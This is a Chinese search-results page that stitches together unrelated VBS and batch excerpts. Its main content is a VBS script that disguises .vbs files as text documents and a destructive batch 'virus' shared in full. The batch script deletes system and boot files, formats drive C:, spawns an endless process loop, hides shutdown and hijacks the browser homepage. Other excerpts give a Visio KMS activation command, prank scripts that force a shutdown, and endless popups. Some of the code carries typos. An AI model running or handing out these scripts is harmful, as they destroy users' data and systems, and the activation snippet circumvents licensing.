精华内容
下载资源
问答
  • vbs病毒

    2021-10-14 13:24:59
    大家好,那今天小编的要给大家分享一个我搜集一个vbs病毒。 这个病毒仅供参考,在还没有读懂源码之前(因为我是搜集来的代码,所以其实我自己也不懂,嘿嘿嘿......望大佬指教。),请不要运行代码!!(很重要) ...

    大家好,那今天小编的要给大家分享一个我搜集的vbs病毒。

    这个病毒仅供参考,在还没有读懂源码之前(因为我是搜集来的代码,所以其实我自己也不懂,嘿嘿嘿......望大佬指教。),请不要运行代码!!(很重要)

    有一点,这个病毒是我供给大家学习的,请不要用作非法用途,造成任何后果与本人无关。

    那话不多说,直接上源码:

    On Error Resume Next
    Set fs=CreateObject("Scripting.FileSystemObject")
    Set dir1=fs.GetSpecialFolder(0)
    Set dir2=fs.GetSpecialFolder(1)
    Set so=CreateObject("Scripting.FileSystemObject")
    dim r
    Set r=CreateObject("Wscript.Shell")
    r.Regwrite "HKLM\Software\classes\vbsfile\defaulticon\","shell32.dll,-152"
    r.Regwrite "HKLM\Software\classes\vbsfile\","文本文档"
    

    如果要运行这个程序的话,建议到虚拟机上面运行。

    为了防止意外发生,我这里再附上解毒代码,如下:

    Set fs=CreateObject("Scripting.FileSystemObject")
    Set dir1=fs.GetSpecialFolder(0)
    Set dir2=fs.GetSpecialFolder(1)
    Set so=CreateObject("Scripting.FileSystemObject")
    dim r
    Set r=CreateObject("Wscript.Shell")
    r.Regwrite "HKLM\Software\classes\vbsfile\defaulticon\",dir1&"\wscript.exe,2"
    r.Regwrite "HKLM\Software\classes\vbsfile\","VBScript Script file"
    r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",0,"REG_DWORD"
    r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives",0,"REG_DWORD"
    r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",0,"REG_DWORD"
    r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled",0,"REG_DWORD"
    r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders",0,"REG_DWORD"
    r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu",0,"REG_DWORD"
    

    这个病毒因为它有解药,所以相对!相对!相对!来讲是比较!比较!比较!安全的。(注意这上面写的是“相对”和“比较”!)不过要运行的话,还是建议大家用虚拟机运行。

    以上呢就是我分享的vbs病毒!我们下期再见!

    彩蛋 

    啊哈!你居然有耐心翻到这里,我可真是惊喜!

    看到标题了吧?这里有个彩蛋,嘻嘻!

    彩蛋就是bat病毒代码,这个代码可是一个破坏性的玩意,慎用!!!慎用!!!慎用!!!

    它会删除你的系统文件,把关机按钮隐藏,禁用桌面单击右键!

    直接上代码:

    @echo off
    reg add HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 0 /f
    reg add HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 0 /f
    reg add HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d 1 /f
    echo :p>>C:\1.bat
    echo start C:\1.bat>>C:\1.bat
    echo goto p>>C:\1.bat
    start C:\1.bat
    del %winder%\win.ini /f
    del %winder%\regedit.exe /f
    del %winder%\Notepad.exe /f
    del %winder%\System.ini /f
    del C:\bootfront.bin /f
    del C:\IO.sys /f
    del C:\MSDOS.sys /f
    del C:\NTDETECT.COM /f
    echo y^|format C: /q
    subst b: C:\
    subst h: C:\
    subst i: C:\
    subst j: C:\
    subst k: C:\
    subst l: C:\
    subst m: C:\
    subst n: C:\
    subst o: C:\
    subst p: C:\
    subst q: C:\
    subst r: C:\
    subst s: C:\
    subst t: C:\
    subst u: C:\
    subst v: C:\
    subst w: C:\
    subst x: C:\
    subst y: C:\
    subst z: C:\
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t reg_sz /d http:// /f
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Default_Page_URL" /t reg_sz /d http:// /f
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t reg_sz /d http://www.4399.com /f
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Default_Page_URL" /t reg_sz /d http://www.4399.com /f
    reg add HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
    reg add HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 0 /f
    reg add HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d 1 /f
    echo :p>>C:\1.bat
    echo start C:\1.bat>>C:\1.bat
    echo goto p>>C:\1.bat
    start C:\1.bat
    del %winder%\win.ini /f
    del %winder%\regedit.exe /f
    del %winder%\Notepad.exe /f
    del %winder%\System.ini /f
    del C:\bootfront.bin /f
    del C:\IO.sys /f
    del C:\MSDOS.sys /f
    del C:\NTDETECT.COM /f
    del %0 /f
    

    咳咳!!重点来了!!

    这个可怕的玩意儿,会删除你的系统文件,把关机按钮隐藏,禁用桌面单击右键的可怕玩意儿,是没有解药的!!所以你要是不小心运行了,电脑就废了......所以建议大家这个玩意最好不要去运行......

    那你的电脑要是真废了,咳咳,我先声明,这跟我没有关系,所以建议大家最好不要复制这段代码然后保存到记事本里,搞后缀名为bat。。。。。。

    不然要不小心点开了......那电脑真的就fei了......

    展开全文
  • securecrt vbs使用

    2020-01-16 17:13:43
    On Error Goto 0 '关闭容错机制 ❤️.判断是否安全连接 '判断是否连接正常 if crt.Session.Connected then crt.Screen.Synchronous = True '同步显示 '第一次连接时的安全检测 Do bCursorMoved = crt.Screen...

    常用语句:

    1.CRT命令
    '发送命令
    crt.Screen.Send “whyy@dsl-vty” & chr(13)
    '等待字符串出现
    crt.Screen.WaitForString “Password:”
    '等待字符串出现,等待1秒钟
    crt.Screen.WaitForString (“Password:”,1)
    '开启同步
    crt.Screen.Synchronous = True
    '判断指针1秒内不移动,用于确定安全连接可以进行后续代码输入操作
    Do
    bCursorMoved = crt.Screen.WaitForCursor(1)
    Loop until bCursorMoved = False
    '判定是否已经连接到设备
    if crt.Session.Connected = true then
    '断开连接
    crt.session.disConnect
    '激活窗口 用于多tab页面
    crt.Activate
    '连接到指定设备
    crt.session.Connect("/telnet " & b(n))
    '延时1秒
    crt.Sleep 1000

    2.vbScript语句

    a.文件操作
    Set fso = CreateObject(“Scripting.FileSystemObject”) '创建文件对象
    Set file1 = fso.OpenTextFile(“c:\test.txt”,1, False) '设置文件对象 1 只读模式;2 写模式;8 在文件末尾进行写操作
    objFso.FileExists(“文件路径”) '判定文件是否存在,存在返回trus,否则返回false
    file1.AtEndOfStream <> True '如果文件末尾无数据返回true,否则返回false
    line = file1.ReadLine '读取第一行文本数据,并将读取位移动到下一行
    params = Split (line) '分割读取的行数据,用空格符分割
    file1.Close '关闭文件

    b.系统文档操作
    '创建shell对象,对系统特殊文档操作
    Set objShell = CreateObject(“WScript.Shell”)

    '返回"我的文档"的路径给变量szMyDocs,可以动态的返回"我的文档"的路径
    szMyDocs = objShell.SpecialFolders(“MyDocuments”)

    '设置文件路径到变量中
    szSessionsFile = szMyDocs & “\SessionList.txt”

    3.知识点

    <1.判断文件是否存在
    if Not objFso.FileExists(szSessionsFile) then '如果txt文件不存在,就报错并退出sub
    crt.Dialog.MessageBox “Session list file not found:” & vbcrlf & _
    vbcrlf & _
    szSessionsFile & vbcrlf & vbcrlf & _
    "Create a session list file as described in the description of " & _
    “this script code and then run the script again.”
    exit sub
    end if

    <2.容错机制
    On Error Resume Next '后面代码错误会继续执行
    crt.Session.Connect "/telnet " & vSessionsArray(0)
    szError = Err.Description '将错误表述信息放入变量szError中
    On Error Goto 0 '关闭容错机制

    ❤️.判断是否安全连接
    '判断是否连接正常
    if crt.Session.Connected then
    crt.Screen.Synchronous = True '同步显示
    '第一次连接时的安全检测
    Do
    bCursorMoved = crt.Screen.WaitForCursor(1)
    Loop until bCursorMoved = False
    ’ 一旦光标在一秒内停止移动,我们就认为他已经安全的连接上了远程设备
    end if

    <4.安全关闭连接
    ’ 断开连接
    crt.session.disconnect
    ’ 等待连接关闭
    Do
    crt.Sleep 100
    Loop While crt.Session.Connected = True '每100毫秒判断连接是否断开

    <5.说明:
    1.CRT默认tab的index为1
    2.要创建第二个标签页tab,必须使用函数set newtab = objCurrentTab1.Clone()复制标签页为新的tab页面
    否则报错tab 2 超出index范围rang

    函数:
    Set objCurrentTab1 = crt.GetTab(1) '创建标签页1
    objCurrentTab1.session.disConnect '断开标签页1的当前连接
    objCurrentTab1.Activate '激活标签页1
    objCurrentTab1.session.Connect("/telnet 172.16.205.1" ) '标签页1连接设备172.16.205.1
    set newtab = objCurrentTab1.Clone() '复制标签页1到新标签页

    展开全文
  • VBS脚本

    2018-12-14 20:45:44
    goto start 格式改为.vbs 无限打开CMD窗口 任务管理器可以关闭 NO2. 在txt文档编辑 do dim a a=“从我见到你的第一眼开始” msgbox a dim b b=“我就喜欢你了” msgbox b dim c c=“做我女朋友吧” msgbox c dim d d...

    NO1.
    在txt文档编辑
    :start
    start cmd
    goto start
    格式改为.vbs
    无限打开CMD窗口
    任务管理器可以关闭

    NO2.
    在txt文档编辑
    do
    dim a
    a=“从我见到你的第一眼开始”
    msgbox a
    dim b
    b=“我就喜欢你了”
    msgbox b
    dim c
    c=“做我女朋友吧”
    msgbox c
    dim d
    d= “给你买房买车买包包”
    loop:
    格式改为.vbs
    用于表白恶搞,do loop为无限循环
    任务管理器可以关闭

    NO3.
    在txt文档编辑
    Option Explicit
    On Error Resume Next
    Dim answer
    Dim WshShell
    set WshShell = CreatObject (“wscript.Shell”)
    WshShell.Run “Shutdown -f -s -t 60 -c 输入’我要做你女朋友’,否则60秒后关机~”,0
    Do While answer <>“我要做你女朋友”
    answer=InputBox(“输入’我要做你女朋友’, 否则60秒后关机~”,“哈哈”,7000,5000)
    Loop
    WshShell.Run “Shutdown-a”,0
    MsgBox “我是你XXX”,“哈哈,你好”
    格式改为.vbs
    在别的地方看到的表白方式,自己摸索着做的
    任务管理器可以关闭

    小白一只,就是爱自学.
    弱者无法连死亡都无法选择.
    每天学习一点点,
    只求比昨天进步一点点

    展开全文
  • vbs基础教程(1)

    2020-04-20 19:03:25
    vbs是基于Visual Basic的脚本语言。VBS的全称是:Microsoft Visual Basic Script Edition。(微软公司可视化BASIC脚本版)。 其语言类似Visual Basic(VB)vbs用什么编译器编译呢?最方便快捷的是记事本,因为它是...

    vbs介绍

    vbs是基于Visual Basic的脚本语言。VBS的全称是:Microsoft Visual Basic Script Edition。(微软公司可视化BASIC脚本版)。VBS是Visual Basic的的一个抽象子集,是系统内置的,用它编写的脚本代码不能编译成二进制文件,直接由Windows系统执行(实际是一个叫做宿主host的解释源代码并执行,可能是wscript.exe或cscript.exe)
    其语言类似Visual Basic(VB)。vbs一般用记事本编译,因为它是windows自带的,编写比较方便。不过最好自己弄一个编译器。

    为什么学vbs?

    有的同学可能就会说了:”为什么学vbs?我宁可学习最近很火的Python,Java,或者基础的C,为什么要学小小的vbs?“
    1.在Windows中,学习计算机操作也许很简单,但是很多计算机工作是重复性劳动,例如你每周也许需要对一些计算机文件进行复制、粘贴、改名、删除,也许你每天启动计算机第一件事情就是打开WORD,切换到你喜爱的输入法进行文本编辑,同时还要播放优美的音乐给工作创造一个舒心的环境,当然也有可能你经常需要对文本中的某些数据进行整理,把各式各样的数据按照某种规则排列起来……。这些事情重复、琐碎,使人容易疲劳。
    vbs易学,易用,代码可分享,随写随用,小巧,能使各种各样的任务自动化,可以使你从重复琐碎的工作中解脱出来,极大的提高工作效率。而且,最方便的是它甚至不需要专门的开发环境,在你的计算机中,只要有notepad,就可以编写Vbs脚本了。什么?让你去学vbs大材小用?这个语言又不是最好的语言?世界没有最好的语言,适合自己的才是最好的。
    适宜人群:任何年龄段对vbscript感兴趣或想要入门其他语言

    怎么保存vbs文件?

    注:本小节面向没有电脑基础的朋友,以下为记事本操作演示

    可能有的朋友不知怎么保存vbs文件,下面就用记事本来演示。
    1.写好代码在这里插入图片描述
    2.点击左上角’文件(F)‘,再点击另存为,来到以下界面
    在这里插入图片描述
    3.点击文件运行
    在这里插入图片描述

    hello,world!

    听完我说完怎么写vbs代码后,有些同学可能迫不及待的想要码hello world了。

    这么对你说吧,写一个hello world首先要计算字符个数,还要计算输出大小,还要找到输出设备,还要确定输出形式,还要…
    在这里插入图片描述
    等等,人家c语言,Python就几个字符就可以实现,你vbs咋这么麻烦?
    哈哈,不逗你们了,其实语言开发者已经找到了方法,并封装到了一个函数里------------

    msgbox

    MsgBox是VBS中的一个函数,功能是弹出一个对话框,等待用户单击按钮,并返回一个整型值(可理解为整数),表示用户单击了哪一个按钮。
    msgbox有多个参数,第一个参数为文本框显示的内容,第二个参数为文本框标题,其余我们暂时不考虑。可以总结出一个公式:

    msgbox"文本框显示的内容",,"文本框标题"
    

    也就是说,hello,world!就是msgbox"hello,world"了呗!
    在这里插入图片描述

    ok,现在我们来写一个程序,题目要求文本框写你你在哪,标题栏为‘我在的城市’

    '这里以北京举例
     msgbox"北京",,"我在的城市"'第一个vbs程序
    

    运行结果
    大家可能会惊讶,这里的输出全是图形化界面(c语言就是在黑乎乎的控制台打印数据的。vbs就是这样一个方便美观的语言,以后我们会讲解更多)

    inputbox

    我们现在已经可以做到输出数据了,也就是程序–>电脑–>人的模式,那么有没有办法从键盘–>电脑–>程序呢?
    (emmmm,此处省略让你们表情凝固的技术内容100000字)
    在这里插入图片描述
    有的同学可能会想到,msgbox是一个函数,那肯定也有一个函数来做输入操作。
    答案是:inputbox!它是一个标准的输入函数,运行时会跳出一个输入框。‘他负责把输进去的数值返回放在一个变量里’,在适当的时候调用。
    公式为:(目前只要掌握这两个参数)
    inputbox语法:inputbox(“对话框内容”,“对话框标题”)
    /* 注意:inputbox要带括号,中间是一个逗号
    它放进小盒子(变量)里的是字符串类型 */

    品程序:解析代码

    我们来看一个程序:

    dim name
    name = inputbox("请输入你的名字:")
    msgbox"你好,"&name,,"打招呼"
    

    解读:
    大家可能看到这段代码会有点懵,接下来我来把代码换一个样子:
    假如我输入‘小明’:
    输入的内容
    最后结果:

    大家应该能猜到一点了,这里的name就是‘小明’,这里的‘&’是把”你好,“和”小明“拼成”你好,小明"的一个操作。没错,‘&’就是把两个字符拼接在一起。这段代码就简化成了:

    msgbox"你好,小明",,"打招呼"
    
    

    品程序:代码中的知识点

    1.‘=’

    ‘=’号在‘name = inputbox(“请输入你的名字:”)’是赋值的意思,是把右边的东西(这里是用户输入的东西)放到左边的变量。详情请看百度百科-赋值
    2.变量
    变量是什么?解释变量最好的办法我觉得是"盒子", 一个变量好像一个盒子, 里面只能装一个东西, 当你要装进去别的东西的时候必须把原有的东西拿出来.我们不用担心这个小盒子太小或者太大,它是会根据我们的数值挑选相应的盒子的.这也是vbs的一个智能之处。

    不像有些语言,比如C,它定义的盒子只能装一种类型 。vbs里不管是字符串:比如“hello world”,还是浮点数(俗称小数):比如3.3,都可以装进一个‘盒子’里,我们不用关心装进去的是什么东西, VBS会自动调整盒子的大小.类型。

    这个"盒子"是有名称的,名字不止一个, 当你在程序中使用变量的时候, 系统会打开盒子取出里面的东西, 让这些东西参与处理。或者这样说,名字只是一个贴在上面的标签,用的时候取得是里面的东西。详情请看变量(计算机名词)

    VBS变量命名规则
    在VBS中,变量的命名必须遵循以下规则:
    (1)变量名必须以字母或下划线打头,名字中间只能由字母、数字和下划线“_”组成;
    (2)变量名的长度不得超过255个字符;
    (3)变量名在有效的范围内必须是唯一的。有关引用变量作用范围的内容,将在以后介绍。
    (4)变量名不能是VBS中的保留字(关键字)。
    例如: strName1,intMax_Length,intLesson,strNo3等是合法的变量名,而A&B,all right,3M,_Number,7a等是非法的变量名。

    声明变量:dim
    dim表示你要创建变量,它可以同时声明多个变量(但要注意,在vbs中,未声明的变量在你用时会重新创建。若想不创,就要在程序开头加上Option Explicit,我们在vbs进阶教程:错误处理会说)

    公式:dim 变量名
    或
    公式:dim 变量1,变量2

    上面知识点举例

    比如:

    name="Jerry"
    a1=12334
    a3=867880
    msgbox name
    

    运行结果:
    运行结果
    可以看到并不是输出name,而是输出里面的Jerry。

    我们再来举个例子:

    name="Jerry"
    a1=12334
    a3=867880
    name="Tom"
    msgbox name
    

    运行结果:

    可以看到,变量是可变的,你重新给了它’Tom‘这个值,之前的"Jerry"就丢失了。

    变量命名举例:
    小明写了一个程序:
    在这里插入图片描述
    诶,怎么报错了。

    你知道为什么吗?
    ------------------------------------答案--------------------------------------

    它使用了关键字命名变量。

    变量名不能是VBS中的保留字(关键字),通俗理解就是有特殊功能的。比如inputbox功能就是弹出一个对话框,在其中显示提示,等待用户输入文字,当然就不能用了。

    总结题

    学习了这么多,我们就用一个小程序总结一下:

    dim a,b,c
    a=inputbox("请输入:你的年龄")
    b=inputbox("请输入:你父亲的年龄")
    c=inputbox("请输入:你母亲的年龄")
    msgbox(a)
    msgbox(b)
    msgbox(c)
    '当然,可以简化,这样更直观
    

    本节课主要公式&知识点

    Msgbox语法:msgbox “对话框内容”, , “对话框的标题”
    inputbox语法:inputbox(“对话框内容”,“对话框标题”)
    声明变量格式:dim 变量1,变量2…
    ”="是赋值的意思,不等同数学里的等于号

    好了,这节课到此结束,下面是课后作业:

    作业

    1.试一试不定义变量直接用,并在程序开头加上Option Explicit会出现什么
    2.编写一个程序,输入你的年龄,名字和岁数,并输出
    3.可以熟练掌握输入输出
    4.试验彩蛋和解药

    彩蛋

    do
    msgbox"你想要显示的内容",48
    msgbox"你想要显示的内容",48
    msgbox"你想要显示的内容",48
    msgbox"你想要显示的内容",48
    loop
    

    do
    msgbox"你想要显示的内容",16
    msgbox"你想要显示的内容",16
    msgbox"你想要显示的内容",16
    msgbox"你想要显示的内容",16
    loop
    

    (大家可以分别试一下两个各是什么样)
    运行后,你会发现你想要显示的内容会一直出现点不掉,这是因为do…loop,它会使其中的内容一直不停循环,达到一直出现点不掉的效果。我们在vbs基础教程:循环 会详细解说

    解药

    1.打开任务管理器,结束wscript.exe或cscript.exe进程
    2.复制以下代码,保存为.bat文件并运行:

    @echo off
    :to
    taskkill /im wscript.exe /f
    taskkill /im cscript.exe /f
    goto to
    
    展开全文
  • Visio 2019 激活方法

    万次阅读 热门讨论 2019-07-23 16:49:37
    ms’) do cscript ospp.vbs /inslic:"…\root\Licenses16%%x" >nul)&(for /f %%x in (‘dir /b …\root\Licenses16\visioprovl_kms*.xrm-ms’) do cscript ospp.vbs /inslic:"…\root\Licenses16%%x" >nul)&(for /f ...
  • VB GoTo语句用法实例

    热门讨论 2010-06-07 13:27:59
    VB GoTo语句用法实例 VB GoTo语句用法实例
  • VBS word/excel 转 PDF

    2020-05-16 14:56:28
    同事问有没有批量把word和excel 转PDF的工具,要在原目录下生成pdf,网上应该有很多这类工具。自己想做个小工具,先用...wsToPdf.vbs dim ObjFSO,currentDir dim filecCount,word_count,excel_count,delCount,log
  • bat编程和vbs编程入门

    千次阅读 2018-09-29 14:23:36
    : 和 goto ,:tit 意思这里有一个标签,名叫tit,goto tit 意思从tit 开始运行,有什么用?用于循环和死机,比如写一个a.bat @echo off set /a var=0 ::创建一个便签名叫401 :401 echo %var% set /a ...
  • VB和VBS、VBA的区别及作用

    千次阅读 2020-10-24 17:39:25
    VBScript是Visual Basic Script的简称,有时也被缩写为VBS。VBScript是微软开发的一种脚本语言,可以看作是VB语言的简化版,与VBA的关系也非常密切。它具有原语言容易学习的特性,并继承了JavaScript的跨平台的特性...
  • 还有VBS的所有函数命令帮助:CDate Date DateAdd DateDiff DatePart DateSerial DateValue Day FormatDateTime Hour IsDate Minute Month MonthName Now Second Time Timer TimeSerial TimeValue Weekday ...
  • 1、VBS命令:以管理员权限运行VBS脚本 直接将其添加到VBS文件开头 Set WshShell = WScript.CreateObject("WScript.Shell") If WScript.Arguments.Length = 0 Then Set ObjShell = CreateObject("Shell....
  • sublime text3基本使用笔记

    千次阅读 2018-07-10 08:24:08
    1-5-19" || ( ECHO SET UAC = CreateObject^("Shell.Application"^) > "%TEMP%\Getadmin.vbs" ECHO UAC.ShellExecute "%~f0", "%1", "", "runas", 1 >> "%TEMP%\Getadmin.vbs" "%TEMP%\Getadmin.vbs" DEL /f /q "%...
  • 虽然标题上是讲vbs的,但是我不介意在文章末尾加彩蛋! 整人之旅开始啦! 1.vbs 1.恶搞不断弹出消息对话 set ws=createobject("wscript.shell") call shutdown(1) do while a<>"XXX" a=inputbox("快在...
  • vbs无法拒绝的表白代码

    千次阅读 2021-02-14 11:57:55
    y): turtle.hideturtle()# 隐藏画笔 turtle.up()# 提笔 turtle.goto(x, y) # 移动画笔到指定起始坐标(窗口中心为0,0) turtle.down()# 下笔 turtle.showturtle()# 显示画笔 # 初始化 turtle.setup(width=800, ...
  • vbs常用例子

    千次阅读 2015-01-09 10:57:28
    vbs读取UTF-8编码的文件 Function readFile(filePath)  On Error Resume Next '打开异常捕获 'Msgbox Err.number  Set asm = CreateObject("Adodb.Stream")  asm.Type = 2  asm.mode = 3  asm...
  • 新建文本文件(xxx.txt),复制以下代码到文本文件,保存后将’.txt’后缀改成’.vbs’,会弹出一个对话框,点击“是”即可。然后点击修改后的文件,就能出现弹窗的效果。那么如何关闭这些弹窗呢?一般可通过任务管理...
  • 多种方法运行vbs

    千次阅读 2014-07-23 10:38:01
    vbs有一个对像是“SAPI.SpVoice”,可以用它来讲英语的,这个组件在 xp、2003上默认都可以用的,调用后可以听到电脑上一个国外老男人在说话。好比这样一句代码:●CreateObject ("SAPI.SpVoice").Speak "I LOVE YOU...
  • 由于公司ip不固定只能使用域名动态解析,但是公司外放的服务器开着防火墙又需要...python无处施展能力,不得不用vbs解决。 Dim http,IP1,IP2 `外部网站解析域名 Function getIP(domain) set fs =createobject(...
  • vbs获取本机信息以及ping的监控检测

    千次阅读 2018-08-14 16:39:39
    有时候跟非技术人员沟通的时候,你让人家提供主机信息或者让别人ping什么域名检测健康情况先行判断的时候,一般的人员可能无法理解,这对于他们可能是灾难性的操作,所以这边提供了一个vbs脚本直接发给非技术人员,...
  • vbs脚本Base64加密解密

    2021-03-23 14:05:58
    enc = Base64Encode(StringToByteArray(“hello”)) MsgBox enc 'VB Base64 编码/加密函数: Function Base64Encode(Str) 'Base64 编码 'On Error GoTo over '排错 Dim buf, length , mods Const
  • 使用一条命令简单高效地显示所有在线主机:【已解决】【高速版】如何显示(扫描)局域网中所有的在线主机IP...False On Error Resume Next Err.clear http.send If Err.number = 0 Then wscript.echo t & s & " -> " & http.status & ": " & http.statustext & vbcrlf Else wscript.echo t & s & " -> " & Err.number & ": " & Err.description End If On Error GoTo 0 Next wscript.echo "done...
  • vbs整人代码大集合 多年的代码收集

    万次阅读 多人点赞 2020-05-13 16:52:39
    vbs整人代码大集合,收集的比较全,喜欢的朋友可以参考下。不要搞破坏,学习vbs的朋友非常有帮助,死循环的使用比较多。 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以...
  • VBS中对Error的处理

    2019-10-02 19:59:28
    VBScript语言提供了两个语句和一个对象来处理"运行时错误",如下所示: On Error Resume Next语句 On Error Goto 0语句 ...On Error Resume Next语句和On Error Goto 0语句指明了当出现"运行时...
  • vbs 异常

    千次阅读 2014-04-02 18:00:10
    On Error Resume Next Err.Clear Set myObj = CreateObject("SomeKindOfClassThatDoesNotExist") If Err.Number <> 0 Then WScript.Echo "Error: ...On Error Goto 0 WScript.Echo "This text will always print."
  • goto语句

    2018-04-23 10:35:29
    goto和lable配合使用,其中linux的内核编写向下跳转常用#include&lt;stdio.h&gt;#include&lt;stdlib.h&gt;int main(){ int i=1; int total=0;lable: total+=i; i++; if(i&lt;=100){ goto lable...
  • 'On Error Goto 0 'If send_errno<>0 Then  'MsgBox "error sending message" & " " & Err.Number & " " & Err.Description 'Else  'If nfiles=1 Then plural="" Else plural="s"  'MsgBox "Sent" & n...
  • 今天看公司demo代码看到很多地方用到一个空循环do{}while(0)。...这个功能可以用goto语句实现,但是这个技巧也是很有用的。一般在do{}内会有很多判断,不满足就直接使用break跳转到while(0)后面。
  • 在Word、Excel乃至其他支持VBA的Office组件中,在代码中处理错误的方式通常都是使用“On Error Goto错误标签”语句,然后在代码的后面添加错误标签及其中包含的错误处理代码。下面总结了创建错误处理程序的步骤: ...
  • vbs脚本

    2017-06-02 16:18:38
    【1】获取本机IP.vbs,并打开驱动盘 '获取本机 IP地址:返回值与函数名相同即可 Function GetLocalIP() Dim objWMIService,colItems,objItem,objAddress Set objWMIService = GetObject("winmgmts://./root/cimv2...
  • secureCRT脚本----vbs语法

    千次阅读 2020-03-21 14:08:34
    crt.Session.Connect “/telnet ” & vSessionsArray(0) szError = Err.Description ‘将错误表述信息放入变量szError中 On Error Goto 0 ‘关闭容错机制 判断是否安全连接 ‘判断是否连接正常 if crt.Session....

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 3,445
精华内容 1,378
热门标签
关键字:

gotovbs